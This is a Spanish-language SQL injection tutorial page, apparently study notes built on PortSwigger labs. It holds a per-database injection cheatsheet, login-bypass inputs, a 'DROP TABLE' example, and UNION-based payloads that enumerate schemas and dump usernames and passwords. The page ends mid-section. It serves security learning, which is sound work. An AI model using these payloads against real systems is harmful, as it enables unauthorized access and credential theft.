top of page
banner_sql.png

SQL

INJECTION

undercons.png

LEYENDA DE COLORES

 BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
 [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
 GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
VERDE                                              Sintaxis / Comandos / Código genérico
VERDE PÁLIDO                              Prompts / Parámetros destacados
AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   URLs / IPs
ROSA                                                 Destacar parámetros en una línea de comandos
ROJO                                                  Comandos de privilegios / stderr / Atención
NARANJA                                         Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
AMARILLO                                       Puertos / UDP / JavaScript / php

tipos de bases de datos

​📊 TIPOS DE BASES DE DATOS MÁS COMUNES

BASES DE DATOS SQL:
- MySQL (open source)
- MariaDB (
open source)
- Oracle Database (
Oracle)
- SQLite (
open source)
- MS SQL (
Microsoft)
- PostgreSQL (
open source)

BASES DE DATOS NO-SQL:
- MondoDB (open source)
- Cassandra (
open source)
- Redis (
open source)

BASES DE DATOS EN LA NUBE:
- Amazon RDS (Amazon)
- Google Cloud SQL (
Google)
- Azure Database Services (
Microsoft)
 

cheatsheet

​⭐ SQLI CHEATSHEET

A continuación, cómo varia la sintaxis de código según el tipo de base de datos, para distintas finalidades:

COMENTARIOS:

Oracle                                  - -comentario
Microsoft                            - -comentario
Microsoft                            /*comentario*/
PostgreSQL                        - -comentario
PostgreSQL                        /*comentario*/
MySQL/MariaDB               #comentario 
MySQL/MariaDB               - - comentario
MySQL/MariaDB               /*comentario*/

MOSTRAR TIPO Y VERSIÓN DE BASE DE DATOS:
Oracle                                   select banner from v$version
Oracle                                   select version from v$instance
Microsoft                            select @@version
PostgreSQL                        select version()
MySQL/MariaDB               select @@version

CONCATENACIÓN DE CADENAS/QUERYS:
Oracle                                  'valor'||'valor'
Microsoft                            'valor'+'valor'
PostgreSQL                        'valor'||'valor'
MySQL/MariaDB               'valor' 'valor
MySQL/MariaDB               concat('valor','valor')

 

AMONTONAR CADENAS/QUERYS:

Oracle                                  no soporta
Microsoft                            primera_query; segunda_query

Microsoft                            primera_query segunda_query
PostgreSQL                        primera_query; segunda_query
MySQL/MariaDB               primera_query; segunda_query


SUBCADENAS:
Oracle                                   substr('valor', 42)
Microsoft                            substring('valor', 42)
PostgreSQL                        substring('valor', 42)
MySQL/MariaDB               substring('valor', 42

MOSTRAR CONTENIDO DE LA BASE DE DATOS:
Oracle                                  select from all_tables
Oracle                                  select from all_tab_columns where table_name = 'nombre_tabla'
Microsoft                           select from information_schema.tables
Microsoft                           select from information_schema.columns where table_name = 'nombre_tabla' 
PostgreSQL                       select from information_schema.tables
PostgreSQL                       select from information_schema.columns where table_name = 'nombre_tabla'
MySQL/MariaDB              select from information_schema.tables 
MySQL/MariaDB              select from information_schema.columns where table_name = 'nombre_tabla'

ERRORES CONDICIONALES:
Oracle                                   select case when (condición) then to_char(1/0) else null end from dual
Microsoft                            select case when (condición) then 1/0 else null end
PostgreSQL                        1 = (select case when (condición) then 1/ (select 0) else null end)
MySQL/MariaDB               select if (condición, (select nombre_tabla from information_schema.tables),'a')

EXTRAER DATOS MEDIANTE ERRORES VISIBLES:

Oracle                                  no soporta
Microsoft                            select 'valor' where 1 = (select 'secret')
PostgreSQL                        select cast ((select password from users limit 1) as int)
MySQL/MariaDB               select 'valor' where 1=1 and extractvalue(1, concat(0x5c, (select 'secret')))

RETRASO DE TIEMPO CONDICIONAL:

Oracle                                  select case when (condición) then 'a'||dbms_pipe.receive_message(('a'),10) else null end from dual
Microsoft                            if (condición) waitfor delay '0:0:10'
PostgreSQL                        select case when (condición) then pg_sleep(10) else pg_sleep(0) end
MySQL/MariaDB               select if(condición,sleep(10),'a')

estructura DB

🏗️ ESTRUCTURA DE UNA BASE DE DATOS 

Una Base de Datos se estructura de la siguiente manera.

ESQUEMA DE EJEMPLO:


[BASES DE DATOS]
           MS SQL <--------- [TABLAS]
                                               demo <--------- [COLUMNAS]
                                                                                      id <--------- [DATA]
                                                                                  name
                                                                                    hint


EJEMPLO VISUAL CON QUERY:
[
selecciona todo valor de la tabla demo]
SELECT * FROM demo
 

database.png

📚 CREAR/GESTIONAR BASE DE DATOS EN LOCAL (MYSQL / MARIADB)

Iniciar servicio MYSQL en local:
sudo systemctl start mysql

Crear servidor MariaDB:
sudo mysql -uroot
MariaDB [(none)]>

MariaDB: mostrar bases de datos:
show databases;
+----------------------------+
| Database                         |
+----------------------------+
| information_schema   |
| mysql                                |
| performance_schema |
| sys                                      |
+----------------------------+
4 rows in set (0.000 sec)


MariaDB: crear base de datos nueva:
create database PruebaDB;

MariaDB: borrar base de datos creada:
drop database PruebaDB;

MariaDB: crear base de datos nueva:
show databases;
+----------------------------+
| Database                         |
+----------------------------+
| PruebaDB                         |
| information_schema   |

| mysql                                |
| performance_schema |
| sys                                      |
+----------------------------+
5 rows in set (0.000 sec)


MariaDB: indicar que vamos a trabajar en la base de datos PruebaDB:
use PruebaDB;
Database changed

MariaDB: crear tabla "users" con varios campos (columnas):
create table users(id int auto_increment PRIMARY KEY, username varchar(32), password varchar(32), subscription varchar(32));

MariaDB: ver tablas:
show tables;
+---------------------------+
| Tables_in_PruebaDB |
+---------------------------+
|
users                                |
+---------------------------+
1 row in set (0.001 sec)


MariaDB: ver columnas de la tabla users:
describe users;
+----------------+---------------+------+-----+-----------+----------------------+
| Field               | Type               | Null | Key | Default | Extra                        |
+----------------+---------------+------+-----+-----------+----------------------+
|
id                      | int(11)          | NO   | PRI | NULL     | auto_increment   |
|
username      | varchar(32) | YES  |        | NULL     |                                   |
|
password      | varchar(32) | YES  |         | NULL     |                                   |
|
subscription | varchar(32) | YES  |         | NULL     |                                   |
+----------------+---------------+------+-----+-----------+----------------------+
4 rows in set (0.001 sec)


MariaDB: insertar DATOS en las columnas de la tabla users (varios usuarios de prueba):
insert users(username, password, subscription) values("admin", "admin123", "No aplica");
+
insert users(username, password, subscription) values("pepe", "peptopep", "2 meses");
+
insert users(username, password, subscription) values("kraken", "crackpasswrd", "12 meses");
+
insert users(username, password, subscription) values("chendo", "ch123qwerty", "8 meses");

MariaDB: ver TODOS LOS DATOS de las columnas de la tabla users):
select * from users;
+----+------------+------------------+----------------+
| id | username | password        | subscription |
+----+------------+------------------+----------------+
|  1 |
admin        | admin123        | No aplica      |
|  2 |
pepe           | peptopep        | 2 meses        |
|  3 |
kraken       | crackpasswrd | 12 meses     |
|  4 |
chendo      | ch123qwerty  | 8 meses        |
+----+------------+------------------+----------------+
4 rows in set (0.001 sec)


ESQUEMA RESULTANTE DE LA BASE DE DATOS:

[BASES DE DATOS]
          PruebaDB <--------- [TABLAS]
                                                   users <--------- [COLUMNAS]
                                                                                           id
                                                                                   username
                                                                                   password
                                                                                 subscription
 

crear base datos

#️⃣ QUERYS (CONSULTAS) MARIADB

Las sentencias SQL se suelen dividir en 5 tipos:

- DQL (Data Query Language) –> Contiene la instrucción
SELECT.
- DML (Data Manipulation Language) –> Contiene instrucciones como
INSERT, UPDATE o DELETE.
- DDL (Data Definition Language) –> Contiene instrucciones como
CREATE, ALTER, DROP o TRUNCATE.
- DCL (Data Control Language) –> Contiene intrucciones como
GRANT o REVOKE.
- TCL (Transaction Control Language) –> Contiene instrucciones como
BEGIN, TRAN, COMMIT o ROLLBACK

--------------------------------------------------------------------------------------------------------------------------------------------------------

🟢 COMANDOS PARA INTERACTUAR CON LA BASE DE DATOS MYSQL / MARIADB:

CREATE DATABASE [nombre_base_datos];                                                            (Crear bases de datos nueva)
DROP DATABASE [nombre_base_datos];                                                                 (Borrar bases de datos existente)
SHOW DATABASES;                                                                                                         (Mostrar todas las bases de datos)
USE [base_datos];                                                                                                             (Seleccionar base de datos a visionar)

CREATE TABLE [nombre_tabla] (columna1, columna2, ...);                                (Crear tabla dentro de una base de datos seleccionada)
DROP TABLE [nombre_tabla];                                                                                       (Crear tabla dentro de una base de datos seleccionada)
SHOW TABLES;                                                                                                                   (Mostrar las tablas de la base de datos seleccionada)
DESCRIBE [nombre_tabla];                                                                                             (Describir una tabla específica)
INSERT INTO [nombre_tabla] VALUES (columna1, ...);                                          (Insertar nuevos valores en una tabla)
UPDATE [nombre_tabla] SET [Columna1] = [valor1] WHERE [condición];       (Actualiza registros existentes)
DESCRIBE [nombre_tabla];                                                                                             (Describir una tabla específica)
DELETE FROM [nombre_tabla] WHERE [condición]                                               (Eliminar registros de una tabla)

SELECT * FROM [nombre_tabla];                                                                                  (Mostrar todas las columnas de una tabla)
SELECT [columna/s] FROM [nombre_tabla];                                                            (Mostrar columna/s de una tabla)
SELECT [columna/s] FROM [nombre_tabla] WHERE [condición];                     (Mostrar columna/s de una tabla)

START TRANSACTION;                                                                                                    (Iniciar una transacción de datos)
COMMIT;                                                                                                                              (Confirma la transacción actual)
ROLLBACK;                                                                                                                          (Cancela la transacción actual)

SELECT CURRENT_USER();                                                                                           (Visionar el usuario actual)
SELECT User, Host FROM mysql.user;                                                                       (Visionar usuarios y su host)
CREATE USER [nombre_usuario]@[host] IDENTIFYED BY [contraseña];       (Crear usuario nuevo)
DROP USER [nombre_usuario]@[host];                                                                    (Eliminar usuario existente)

CAMBIAR DE USUARIO ACTUAL A OTRO EXISTENTE:
\q
mysql -u [
usuario_nuevo] -p
SYSTEM mysql -u [
usuario_nuevo] -p
\!
mysql -u [
usuario_nuevo] -p


FLUSH PRIVILEGES;                                                                                                         (Recargar el archivo de privilegios)
KILL [id_de_proceso];                                                                                                     (Terminar un proceso específico en el servidor)
SHOW VARIABLES;                                                                                                          (Muestra variables de configuración del servidor)

HELP [término_a_buscar];                                                                                            (Cancela la transacción actual)
\h [comando];                                                                                                                    (Muestra ayuda de un comando específico)

--------------------------------------------------------------------------------------------------------------------------------------------------------

EJEMPLOS:

MariaDB: ver todas las columnas de la tabla users:
select * from users;
+----+------------+------------------+----------------+
| id | username | password        | subscription |
+----+------------+------------------+----------------+
|  1 | admin        | admin123        | No aplica      |
|  2 | pepe           | peptopep        | 2 meses        |
|  3 | kraken       | crackpasswrd | 12 meses     |
|  4 | chendo      | ch123qwerty  | 8 meses        |
+----+------------+------------------+----------------+
4 rows in set (0.001 sec)


MariaDB: ver todas las columnas de la tabla users en las que el "id" sea 1:
select * from users where id='1';
+----+------------+------------------+----------------+
| id | username | password        | subscription |
|  1 |
admin        | admin123        | No aplica      |
+----+------------+------------------+----------------+

1 row in set (0.000 sec)

MariaDB: ver todas las columnas de la tabla users en las que el "username" sea pepe:
select * from users where username='pepe';
+----+------------+------------------+----------------+
| id | username | password        | subscription |
+----+------------+------------------+----------------+
|  2 |
pepe           | peptopep        | 2 meses        |
+----+------------+------------------+----------------+
1 row in set (0.000 sec)


MariaDB: ver la columna "subscription" de la tabla users en la que el "username" sea pepe:
select subscription from users where username='pepe';
+----------------+
| subscription |
+----------------+
| 2 meses        |
+----------------+
1 row in set (0.000 sec)


MariaDB: HECKED QUERY. ver la columna "subscription" de la tabla users en la que el "username" sea pepe u otro valor que sea verdadero (y se verán todos los valores de la columna que sea verdaderos además de "pepe"):  
select subscription from users where username='pepe' or 1=1;-- -';
o bien:
select subscription from users where username='pepe' or 1=1;#';
+----------------+
| subscription |
+----------------+
| No aplica       |
| 2 meses         |
| 12 meses      |
| 8 meses         |
+----------------+
4 rows in set (0.000 sec)

querys
comandos mariaDB
tipos de DB

📋 TIPOS DE SQL INJECTIONS

La inyección SQL es una técnica de hacking que permite a los atacantes manipular las consultas SQL enviadas a una base de datos, lo que puede llevar a la exposición, modificación o eliminación de datos sensibles. En el contexto del hacker ético, esta técnica se utiliza para probar la seguridad de una aplicación web o sistema de gestión de bases de datos, identificando vulnerabilidades que podrían ser explotadas por actores malintencionados.
 

SQLItypes.png

💉

💉

💉

💉

💉 Basada en Errores (Error Based)

Las inyecciones SQL basadas en errores obtienen información sobre la estructura de la base de datos a partir de los mensajes de error emitidos por el servidor de la base de datos. En algunas ocasiones, un atacante puede enumerar toda una base de datos utilizando solo inyecciones SQL basadas en errores.

⚠️ (EN CONSTRUCCIÓN) ⚠️
 

​🎫​ UNIFORM RESOURCE IDENTIFIER (URI)

Un URI (Uniform Resource Identifier) es un identificador estandarizado utilizado para identificar un recurso en Internet. Los URI pueden referirse a recursos físicos (como un archivo en un servidor) o abstractos (como un concepto o servicio). La URL (Uniform Resource Locator) es un tipo específico de URI que incluye información sobre cómo acceder al recurso.

Las URI y las SQL Injections están relacionadas en el contexto de la interacción entre usuarios y aplicaciones web, y tienen en común que ambas pueden influir en cómo se procesan las solicitudes y los datos. Aunque son conceptos distintos, comparten ciertas características y puntos de interacción:

UNIFORM RESOURCE IDENTIFIER:
Las URI permiten que los usuarios especifiquen recursos o envíen parámetros mediante las cadenas de consulta (query strings) o fragmentos, como en:

https://example.com/product?id=123&category=books

SQL INJECTIONS:
Las inyecciones SQL explotan entradas de usuario mal validadas, como parámetros en las cadenas de consulta, para inyectar código SQL malicioso. Por ejemplo:

https://example.com/product?id=123'; DROP TABLE users; --

En ambos casos, los datos ingresados por el usuario pasan al backend de la aplicación, y si no se procesan correctamente, pueden alterar el comportamiento esperado, como en el segundo caso.

_______________________________________________________________________________________________

EJEMPLO COMPLETO
DE URL:
https://www.example.com

La SINTAXIS de un URI sigue un estándar definido por la IETF (RFC 3986) y consta de las siguientes partes principales:
scheme:[//authority]path[?query][#fragment]

EJEMPLO COMPLETO DE URI:
https://user:www.example.com">password@www.example.com:8080/path/to/resource?search=books&sort=asc#section1

_______________________________________________________________________________________________

■ SCHEME: Especifica el protocolo o mecanismo que se utilizará para acceder al recurso.
   Ejemplo:
https:

■ AUTHORITY: Especifica la autoridad que controla el recurso. Comienza con // y tiene tres subcomponentes opcionales:
   Ejemplo USERINFO:
//user:password@
   Ejemplo HOST: www.example.com
   Ejemplo PORT: :8000

■ PATH: Indica la ubicación exacta del recurso dentro del servidor.
   Ejemplo:
/path/to/resource

■ QUERY: Una cadena de parámetros que se pasan al recurso. Comienza con un signo de interrogación (?).
   Ejemplo:
?search=libros&order=asc

■ FRAGMENT: Una referencia interna dentro del recurso. Comienza con un símbolo de almohadilla (#).
   Ejemplo:
#introduction

_______________________________________________________________________________________________

CARACTERES EN LAS URI:

                           (Separa el esquema (protocolo) del resto de la URI. Ejemplo: https:)
                           (Dentro de la autoridad, separa el puerto del host. Ejemplo: example.com:8080)
//                          (Indica el inicio de la autoridad (host). Ejemplo: https://example.com)
                          (Separa directorios o rutas. Ejemplo: /path/to/resource)
                          (Introduce una cadena de consulta (query). Ejemplo: ?id=123)
                          (Asigna un valor a un parámetro en la consulta. Ejemplo: key=value)
                          (Separa múltiples parámetros en la consulta. Ejemplo: ?id=123&name=John)
                          (Introduce un fragmento o referencia interna. Ejemplo: #section2)
                           (Separa la información de autenticación del host. Ejemplo: user:pass@host)
                            (Usado en algunas consultas y rutas dinámicas.)
                           (Indicador en rutas dinámicas o variables en URLs personalizadas.)
                            (A menudo usado en consultas SQL o datos.)
                           (Puede ser comodín en algunos esquemas personalizados.)
                           (Separador en valores específicos de ciertas aplicaciones.)
                           (Delimita parámetros en algunos esquemas. Ejemplo: http;param=value)

CODIFICACIÓN URI:

%20                     (Espacio)
                          (Espacio)
%22                     (" para encerrar valores)
%23                     (# fragmento dentro de un recurso)
%25                     (% indicador de codifiación)
%26                     (& separador de parámetros)
%27                     (' apóstrofo o comilla simple)
%2B                     (+ espacio dentro de queries)
%2F                     (/ separador de rutas)
%3A                     (: separador de esquema o puerto)
%3B                     (; separador en algunos esquemas)
%3D                     (= asignación de valores)
%3F                     (? inicia consulta)
%40                     (@ autenticación o parte de la autoridad)

 

URI

🚦  CÓDIGOS DE ESTADO

1** CÓDIGOS INFORMATIVOS:
100                 (Continúa)
101                 (Cambia de protocolos)
102                 (Procesando)
103                 (¿?)
122                 (Solicitud URI demasiado larga)

2** CÓDIGOS DE ÉXITO:
200                 (OK)
201                 (Creado)
202                 (Aceptado)
203                 (Información no-autorizativa)
204                 (Sin contenido)
205                 (Resetear contenido)
206                 (Contenido parcial)
207                 (Multi-estado)
208                 (Previamente reportado)

218                 (Está correcto)

226                 (IM en uso)

3** CÓDIGOS DE REDIRECCIÓN:
300                 (Múltiples opciones)
301                 (Movido permanentemente)
302                 (Encontrado)
303                 (Ver otro)
304                 (No modificado)
305                 (Utiliza proxy)
306                 (Cambia proxy)

307                 (Redirección temporal)

308                 (Redirección permanente)

4** CÓDIGOS DE ERROR DE CLIENTE:
400                 (Solicitud errónea)
401                 (No autorizado)
402                 (Pago requerido)
403                 (Prohibido)
404                 (No encontrado)
405                 (Método no permitido)
406                 (Inaceptable)
407                 (Autenticación de proxy requerida)
408                 (Tiempo de solicitud agotado)
409                 (Conflicto)
410                 (Perdido)
411                 (Distancia requerida)
412                 (Precondición fallida)

413                 (Payload demasiado larga)

414                 (Solicitud URI demasiado larga)

415                 (Tipo de medio no soportado)

416                 (Rango de solicitud insatisfecho)

417                 (Expectación fallida)

418                 (Soy una tetera)

419                 (Tiempo de autenticación agotado)

420                 (¿?)

421                 (Solicitud mal dirigida)

422                 (Entidad no procesable)

423                 (Bloqueado)

424                 (Dependencia fallida)

425                 (Demasiado pronto)

426                 (Requiere actualización)

428                 (Requiere precondición)

429                 (Demasiadas solicitudes)

431                 (Campo "header" de solicitud demasiado largo)

444                 (Conexión cerrada sin respuesta)

449                 (Reintentar con)

451                 (No disponible por razones legales)

460                 (¿?)

463                 (¿?)

464                 (¿?)

494                 (Solicitud de "header" demasiado larga)

495                 (Error de Certificado SSL)

496                 (Certificado SSL requerido)

497                 (Solicitud HTTP enviada a puerto HTTPS)

499                 (El cliente cerró la solicitud)



5** CÓDIGOS DE ERROR DE SERVIDOR:
500                 (Error interno del servidor)
501                 (No implementado)
502                 (Mal "gateway")
503                 (Servicio no disponible)
504                 ("Gateway" tardó demasiado)
505                 (Versión HTTP n osoportada)
506                 (Variante tambien negocia)
507                 (Almacenamiento insuficiente)
508                 (Loop o ciclo detectado)
510                 (No extendido)
511                 (Se requiere autenticación de red)

520                 (Servidor web devuelve un error desconocido)

521                 (Servidor web caído)

522                 (Tiempo de conexión excedido)

523                 (Origen inalcanzable)

524                 (Ocurrió un tiempo de espera excesivo)

525                 (El handshake SSL falló)

526                 (Certificado SSL inválido)

527                 (Railgun error)

561                 (No autorizado)

598                 (Lectura de red con error de tiempo excedido)

599                 (Conexión de red con error de tiempo excedido)

codigos_estado
login bypass A

💉 LOGIN BYPASS  (tipo A)

USERNAME [imput_username]:

   admin'--                                    admin'#

PASSWORD [imput_password]:

   [cualquiera]
 

La inyección en la caja de login, lo que hace es convertir esta query:
[Selecciona todos los campos de donde el usuario introducido y su password, coincidan con la password introducida]
SELECT * FROM users WHERE username = [imput_username] AND password = [imput_password];

En esta otra:
[Selecciona todos los campos de donde el usuario sea, el usuario introducido, sin más]
SELECT * FROM users WHERE username = [imput_username]'-- -' AND password = [input_password];

Los indicadores "-- -" y "#" de comentario, anulan el condicionante posterior que urge a introducir una contraseña que coincida con la contraseña del usuario introducido.
 

💉 LOGIN BYPASS  (tipo B)

USERNAME [input_username]:

   admin' OR 1=1-- -                   admin' OR 1=1#         

PASSWORD [input_password]:

   [cualquiera]


La inyección en la caja de login, lo que hace es convertir esta query:
[Selecciona todos los campos de donde el usuario introducido y su password, coincidan con la password introducida]
SELECT * FROM users WHERE username = [input_username] AND password = [input_password];

En esta otra:
[Selecciona todos los campos de donde el usuario sea, el usuario introducido si este es verdadero]
SELECT * FROM users WHERE username = [input_username]' OR 1=1-- -' AND password = [input_password];

Los indicadores "-- -" y "#" de comentario, anulan el condicionante posterior que urge a introducir una contraseña que coincida con la contraseña del usuario introducido.
 

login bypass B
Vuln filtro categoria

💉 FILTRO DE CATEGORÍA VULNERABLE

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data

URL VULNERABLE:
http://shop.com/filter?category=Pets

Cuando el usuario selecciona una categoría, la QUERY interna de la base de datos es:
[
selecciona todo valor de la tabla "productos" donde la categoría "pets" y "publicados" sean "verdaderos"]
SELECT * FROM products WHERE category = 'Pets' AND released = 1

La base de datos contiene una vulnerabilidad en el filtro de categoría de producto, que permite mostrar los productos que por defecto queda ocultados bajo la etiqueta "unreleased" (no publicados).

--------------------------------------------------------------------------------------------------------------------------------------------------------

Desglose de la URL al seleccionar una categoría:
http://                          (Protocolo usado para la comunicación. Puede ser http o https (este último con cifrado SSL/TLS)
shop.com                     (Es el dominio del servidor al que se está haciendo la solicitud. En este caso una tienda online)
/                                         (Separador)
filter                              (Subdominio que aplica en la web un filtro por categorias de la base de datos)
?category=Pets           (Cadena de consulta (query string) que nos direcciona a la categoría existente "Pets")

Desglose de la Cadena de Consulta:
?                                     (Separador. Indica el inicio de los parámetros de consulta)
category                        (Nombre del parámetro. Indica filtrar por categoría. Se deduce que "category" es una tabla de la base de datos)
=                                     (Parámetro de enlace entre la categoría (tabla) y un producto (columna de la tabla))
Pets                               (Nombre de parámetro. Indica nombre de categoría. Se deduce que "pets" es una columna de la tabla)


INYECCIÓN SQL EN LA URL:
http://shop.com/filter?category=Pets' or 1=1-- -

Con los parámetros introducidos, en el caso de éste laboratorio, obtenemos una respuesta exitosa de la base de datos, mostrando TODOS los productos de la categoría "Pets", en este caso tanto los productos públicos como los ocultos.

De esto:    http://shop.com/filter?category='Pets' AND released =1 
A esto:      http://shop.com/filter?category=Pets' or 1=1-- -

Desglose de la Cadena de Consulta con la Inyección:
'                                     (Cierra la cadena)
or                                  (Condicional "o")
1=1                               (True Statement. Ordena que se cumplan las condiciones)
-- -                                (Equivale a "introducir comentario". También "#")

--------------------------------------------------------------------------------------------------------------------------------------------------------

SE DEDUCE EL SIGUIENTE ESQUEMA:

[BASES DE DATOS]
        Shop.com <--------- [TABLAS]
                                              Products <--------- [COLUMNAS]
                                                                                            id 
                                                                                        name
                                                                                     category <--------- [Pets]
                                                                                        price
                                                                                       details
                                                                                      released <--------- [True]
                                                                       
             unreleased <--------- [True]
 

💉 DETERMINAR NÚMERO DE COLUMNAS

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns

URL VULNERABLE:
http://shop.com/filter?category=Pets

El objetivo de esta inyección es determinar el número de columnas que tiene la tabla.

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'pets'

Para probar campos de columna hasta encontrar el momento en el que, ante la ausencia de error, se pueda determinar el número exacto de columnas que tiene una tabla, en este caso la tabla "products". Los campos introducidos separados por "," después del comando "select", podrían aparecer en las columnas de la tabla, que podemos numerar con números, con valores NULL si no acepta números, o incluso introducir comandos (buscar más adelante).

NOTA: El valor "NULL" es interpretado por la vase de datos como un valor nulo o neutro, para hacer pruebas cuando otros valores tiran error.

__________________________________________________________________________________________________________

TIPOS DE VALORES:

NULL                                 (Valor nulo / neutro)
1                                         (Campos que solo permiten valores numéricos)
true / false                      (Campos que solo permiten valores "verdadero" o "falso")
abc123DEF                     (Campos que permiten valores alfanuméricos o texto, también llamados "string values")
__________________________________________________________________________________________________________

A continuación varias pruebas:
http://shop.com/filter?category=Pets' union select 1,2,3-- -
http://shop.com/filter?category=Pets' union select NULL,NULL,NULL-- -

El comentario podría ser que se indicara con "#" en lugar de con "-- -":
http://shop.com/filter?category=Pets' union select 1,2,3#
http://shop.com/filter?category=Pets' union select NULL,NULL,NULL#

Si probando con un valor da error, con dos también, pero con tres ya no, significa que la tabla tiene 3 columnas.
 

number columns

💉 DETERMINAR COLUMNAS CON TEXTO (STRING DATA)

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text

URL VULNERABLE:
http://shop.com/filter?category=Pets

El objetivo de esta inyección es determinar qué columnas permiten valores alfanuméricos o de texto, sabiendo de antemano que la tabla "products" contiene 3 columnas.

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'pets'

NOTA: El valor "NULL" es interpretado por la vase de datos como un valor nulo o neutro, para hacer pruebas cuando otros valores tiran error.

TIPOS DE VALORES:
NULL                                 (Valor nulo / neutro)
1                                         (Campos que solo permiten valores numéricos)
true / false                      (Campos que solo permiten valores "verdadero" o "falso")
'abc123DEF'                   (Campos que permiten valores alfanuméricos o texto, entre "'". También llamados "string values")

A continuación varias pruebas:
http://shop.com/filter?category=Pets' union select 'pruEb4',NULL,NULL-- -
http://shop.com/filter?category=Pets' union select NULL,'pruEb4',NULL-- -
http://shop.com/filter?category=Pets' union select NULL,NULL,'pruEb4'-- -     (En el caso de este laboratorio, aquí no daría error)

Por tanto, se comprueba que el la tercera columna permite valores alfanuméricos o texto, lo que permitiría inyectar código para continuar explotando vulnerabilidades en la base de datos (ver siguiente entrada).
 

determinar string values
explotar string values

💉 EXPLOTAR COLUMNAS CON TEXTO (STRING DATA)

LABORATORIO DE PORTSWIGGER: (laboratorio del apartado anterior)
🌐https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text

URL VULNERABLE:
http://shop.com/filter?category=Pets

El objetivo de esta inyección es determinar qué columnas permiten valores alfanuméricos o de texto, sabiendo de antemano que la tabla "products" contiene 3 columnas.

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'pets'

NOTA: El valor "NULL" es interpretado por la vase de datos como un valor nulo o neutro, para hacer pruebas cuando otros valores tiran error.

TIPOS DE VALORES:
NULL                                                (Valor nulo / neutro)
1                                                        (Campos que solo permiten valores numéricos)
true / false                                     (Campos que solo permiten valores "verdadero" o "falso")
'abc123DEF'                                  (Campos que permiten valores alfanuméricos o texto, entre "'". También llamados "string values")
comando() / @@comando         (Dos tipos de sintaxis de comandos para insertar como string value)

__________________________________________________________________________________________________________

🟣 COMANDOS EN STRING VALUE (MariaDB):
- Estos comandos
pueden ser bloqueados mediante una configuración correcta en la base de datos.

database()                         (Nombre del sistema de gestión de la base de datos)
version()                             (Versión del motor de base de datos)
user()                                   (Nombre del usuario actual)
current_user()                  (Información sobre el usuario conectado)
table_name()                    (Nombre de la tabla actual)
column_name()               (Nombre de la columna actual)

sys.users                            (Listar todos los usuarios en la base de datos)
sys.tables                           (Listar todas las tablas en la base de datos actual)
sys.columns                      (Listar todas las columnas en la base de datos actual)

information_schema.tables                                         (Muestra detalles de las tablas en la base de datos)
information_schema.columns                                     (Muestra detalles de las columnas en la base de datos)

SELECT * FROM [nombre_tabla];                                 (Ejecuta una consulta SELECT completa)
EXPLAIN query;                                                                  (Analiza cómo se ejecutará una consulta SQL)
INSERT INTO [nombre_tabla] VALUES (...);              (Inserta nuevos registros en una tabla)
__________________________________________________________________________________________________________

La inyección anterior:
http://shop.com/filter?category=Pets' union select NULL,NULL,'pruEb4'-- -
Se puede explotar ahora, por ejemplo así:
http://shop.com/filter?category=Pets' union select NULL,NULL,version()-- -
 
Devolviendo la siguiente información en la columna, sobre la versión del motor de la base de datos:
✔️ PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

comandos string value

💉 SUSTRAER INFORMACIÓN DE OTRAS TABLAS

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables

URL VULNERABLE:
http://shop.com/filter?category=Pets

El objetivo de esta inyección es mostrar la información contenida en otra tabla de la base de datos llamada "users" que contiene dos  columnas llamadas "username" y "password", de donde sacar las credenciales de "administrator" para hacer login.

QUERY POR DEFECTO:
SELECT * FROM products WHERE category = 'pets'

En una prueba preliminar, observamos que hay dos columnas, donde la primera permite texto:
http://shop.com/filter?category=Pets' union select 'pruEb4',NULL-- -

Inyectando código:
http://shop.com/filter?category=Pets' union select schema_name,NULL from information_schema.schemata-- -
Tras lo que se obtienen los siguientes valores entre las entradas de respuesta (nombres de bases de datos):
pg_catalog
public
information_schema


A continuación, para dumpear las tablas de estas bases de datos.

Inyectando código:

http://shop.com/filter?category=Pets' union select table_name,NULL from information_schema.tables-- -
PROBLEMA: mostrará las tablas de TODAS las bases de datos

Modificación para ver solo las tablas de la base de datos "
public":
http://shop.com/filter?category=Pets' union select table_name,NULL from information_schema.tables where table_schema = 'public' -- -
Devolviendo entre las entradas de respuesta las tablas de "public":
products
users


Será en la tabla "users" donde hay que centrar el ataque para cumplir el objetivo.

Modificación para ver solo las
columnas de la tabla "users":
http://shop.com/filter?category=Pets' union select column_name,NULL from information_schema.columns where table_schema = 'public' and table_name = 'users'-- -
Devolviendo entre las entradas de respuesta las columnas de la tabla "users":
email
password
username


Modificación para ver la DATA de las columnas username y password de users, usando para ellos los dos campos NULL,NULL:
http://shop.com/filter?category=Pets' union select username,password from users-- -
Devuelve:

carlos

9jc54ghmj15j5nffxjrq

administrator

shpxrhzi94uazcgykb2g

wiener

x6cxcwrx12ds9l6fmoh3

Adicionalmente, para intentar sacar la DATA de la columna email:

http://shop.com/filter?category=Pets' union select username,email from users-- -

Devuelve:

carlos

administrator

wiener

De lo que se deduce que la columna email está VACÍA.

POR LO TANTO, LAS CREDENCIALES PARA LOGIN SON:

USERNAME: administrator

PASSWORD: shpxrhzi94uazcgykb2g

info de otras tablas

💉 SACAR MÚLTIPLES VALORES EN UNA SOLA COLUMNA

LABORATORIO DE PORTSWIGGER:
🌐https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column

URL VULNERABLE:
http://shop.com/filter?category=Pets

El laboratorio contiene una vulnerabilidad en el filtro de categoría. Debería ser posible obtener datos de otras tablas, una de ellas llamada "users" con columnas "username" y "password", donde extraer las credenciales de "administrator".

QUERY POR DEFECTO:
